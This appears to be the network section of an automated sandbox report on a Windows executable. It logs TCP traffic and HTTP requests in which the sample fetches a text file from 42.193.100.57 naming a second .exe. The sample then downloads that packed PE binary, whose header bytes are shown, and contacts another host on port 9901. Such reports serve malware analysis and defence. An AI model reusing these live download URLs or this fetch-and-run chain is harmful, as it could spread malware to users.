Nov 20, 2024 09:15:00.577632904 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577644110 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577655077 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577655077 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577666044 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577675104 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577687979 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.577697992 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.577723980 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.579845905 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579858065 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579873085 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579879999 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579894066 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579904079 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579922915 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.579946995 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579958916 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579963923 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.579972029 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.579988003 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.579998970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580010891 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580018044 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580022097 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580029964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580039978 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580043077 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580063105 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580069065 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580094099 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580108881 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580364943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580379009 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580393076 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580410004 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580410957 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580420017 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580427885 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580440998 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580444098 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.580450058 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580470085 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.580492020 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875475883 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875488043 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875499964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875511885 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875524044 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875534058 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875564098 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875593901 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875602961 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875628948 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875790119 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875802040 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875814915 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875823021 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875825882 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875835896 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875847101 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875884056 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.875947952 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875962973 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.875984907 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876010895 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876172066 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876188993 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876199961 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876209021 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876219988 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876224041 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876231909 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876231909 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876245975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876269102 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876281023 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876305103 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876317024 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876327038 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876338005 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876344919 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876349926 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876354933 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876385927 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876487970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876502037 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876513004 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876524925 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876530886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876537085 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876549006 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876554012 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876580954 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876605034 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876637936 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876652002 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876681089 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876705885 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876812935 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876823902 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876836061 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876847029 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876854897 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876883984 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876895905 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876908064 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876915932 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876919031 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876931906 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876940012 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876949072 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876960039 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.876960993 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876972914 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876985073 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.876986027 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877008915 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877027988 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877228975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877240896 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877262115 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877280951 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877547979 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877557993 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877569914 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877580881 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877585888 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877595901 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877604008 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877633095 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877702951 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877717972 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877727985 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877739906 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877746105 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877759933 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877790928 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877871990 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877882957 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877896070 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877907991 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877912045 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877919912 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877933979 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.877935886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877980947 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.877981901 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878113031 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878150940 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878232002 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878246069 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878281116 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878294945 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878408909 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878421068 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878432035 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878442049 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878448009 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878453970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878467083 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878468037 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878479958 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878498077 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878516912 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878560066 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878575087 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878585100 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878596067 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878606081 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878606081 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878618956 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878624916 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878659964 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878906965 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878917933 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878931046 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.878947020 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878959894 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.878981113 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879091978 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879102945 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879113913 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879125118 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879127979 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879146099 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879148006 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879158020 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879169941 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879179001 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879179955 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879192114 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879204035 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879210949 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879216909 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879228115 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879236937 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879260063 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879292965 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879304886 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879322052 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879333973 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879334927 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879347086 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879359007 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879359007 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879369974 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879381895 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879389048 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879393101 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879406929 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879407883 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879415035 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879422903 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879447937 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879477978 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.879947901 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879962921 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879975080 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.879987955 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880001068 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880018950 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880119085 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880131006 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880141973 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880153894 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880156994 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880177975 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880208015 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880284071 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880296946 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880307913 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880317926 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880321980 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880335093 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880347013 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:00.880351067 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880378008 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:00.880387068 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185764074 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185796022 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185815096 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185817003 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185848951 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185869932 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185872078 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185884953 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185897112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.185906887 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185921907 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.185945034 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.403337002 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.403383970 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:01.842844009 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:01.842885971 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:02.707160950 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:02.707242012 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:02.903137922 CET	49711	9901	192.168.2.11	38.6.175.134
Nov 20, 2024 09:15:02.908807993 CET	9901	49711	38.6.175.134	192.168.2.11
Nov 20, 2024 09:15:02.908907890 CET	49711	9901	192.168.2.11	38.6.175.134
Nov 20, 2024 09:15:02.909787893 CET	49711	9901	192.168.2.11	38.6.175.134
Nov 20, 2024 09:15:02.915440083 CET	9901	49711	38.6.175.134	192.168.2.11
Nov 20, 2024 09:15:04.404062033 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:04.404146910 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:07.833271027 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:07.833367109 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:14.746208906 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:14.750166893 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:24.287729025 CET	9901	49711	38.6.175.134	192.168.2.11
Nov 20, 2024 09:15:24.287888050 CET	49711	9901	192.168.2.11	38.6.175.134
Nov 20, 2024 09:15:24.287925959 CET	49711	9901	192.168.2.11	38.6.175.134
Nov 20, 2024 09:15:24.292963028 CET	9901	49711	38.6.175.134	192.168.2.11
Nov 20, 2024 09:15:28.307971954 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:28.308043957 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:15:56.982780933 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:15:56.983349085 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:16:33.124471903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:16:33.132050991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:16:33.138262033 CET	49701	80	192.168.2.11	42.193.100.57

HTTP Request Dependency Graph

42.193.100.57

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49701	42.193.100.57	80	6648	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:14:43.165663958 CET	259	OUT	GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1 Accept: / Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 42.193.100.57 Cache-Control: no-cache
Nov 20, 2024 09:14:44.096400976 CET	576	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Tue, 23 Jul 2024 10:50:23 GMT Accept-Ranges: bytes ETag: "fcb8701eeedcda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 20 Nov 2024 08:14:44 GMT Content-Length: 351 Data Raw: b0 e6 b1 be a1 be 34 2e 38 a1 bf b0 e6 b1 be 0d 0a 0a 0a c7 bf d6 c6 b8 fc d0 c2 a1 be d5 e6 a1 bf c7 bf d6 c6 b8 fc d0 c2 0d 0a 0a 0a c3 fb d7 d6 a1 be c7 a7 c7 a7 cd ed d0 c7 31 36 a1 bf c3 fb d7 d6 0a 0a 0d 0a d2 bb bc fc b9 d8 bb fa a1 be bc d9 a1 bf d2 bb bc fc b9 d8 bb fa 0d 0a 0a 0a cf c2 d4 d8 b5 d8 d6 b7 a1 be 68 74 74 70 3a 2f 2f 34 32 2e 31 39 33 2e 31 30 30 2e 35 37 2f 25 45 35 25 38 44 25 38 33 25 45 35 25 38 44 25 38 33 25 45 36 25 39 39 25 39 41 25 45 36 25 39 38 25 39 46 31 36 2e 65 78 65 a1 bf cf c2 d4 d8 b5 d8 d6 b7 0a 0a 0d 0a d5 e2 ca c7 b9 ab b8 e6 a1 be 20 b9 fe ba f4 ba f4 20 b7 c9 b7 c9 d3 e3 20 b9 d8 d3 f0 d3 f0 20 d5 c5 b7 c9 b7 c9 20 20 ce e4 cb c9 cb c9 a1 bf d5 e2 ca c7 b9 ab b8 e6 0a 0a 0a 0a 0d 0a d5 e2 ca c7 c8 d5 d6 be a1 be 31 2e b8 fc d0 c2 c1 cb c6 a8 31 a1 a3 2f 6e 32 2e d3 c5 bb af b8 f6 c6 a8 32 a1 a3 2f 6e 33 2e d0 c2 d4 f6 b8 f6 c6 a8 a1 a3 2f 6e 34 2e cc e1 c9 fd c1 cb d3 c3 bb a7 b5 c4 ca b9 d3 c3 cc e5 d1 e9 a3 ac b8 d0 be f5 d6 b1 bd d3 c0 ad c2 fa a1 a3 [TRUNCATED] Data Ascii: 4.816http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe 1.1/n2.2/n3./n4.
Nov 20, 2024 09:14:44.170099974 CET	132	OUT	GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1 User-Agent: Agent7207437 Host: 42.193.100.57 Cache-Control: no-cache
Nov 20, 2024 09:14:44.500780106 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT Accept-Ranges: bytes ETag: "db12387d7dcda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 20 Nov 2024 08:14:44 GMT Content-Length: 6123520 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
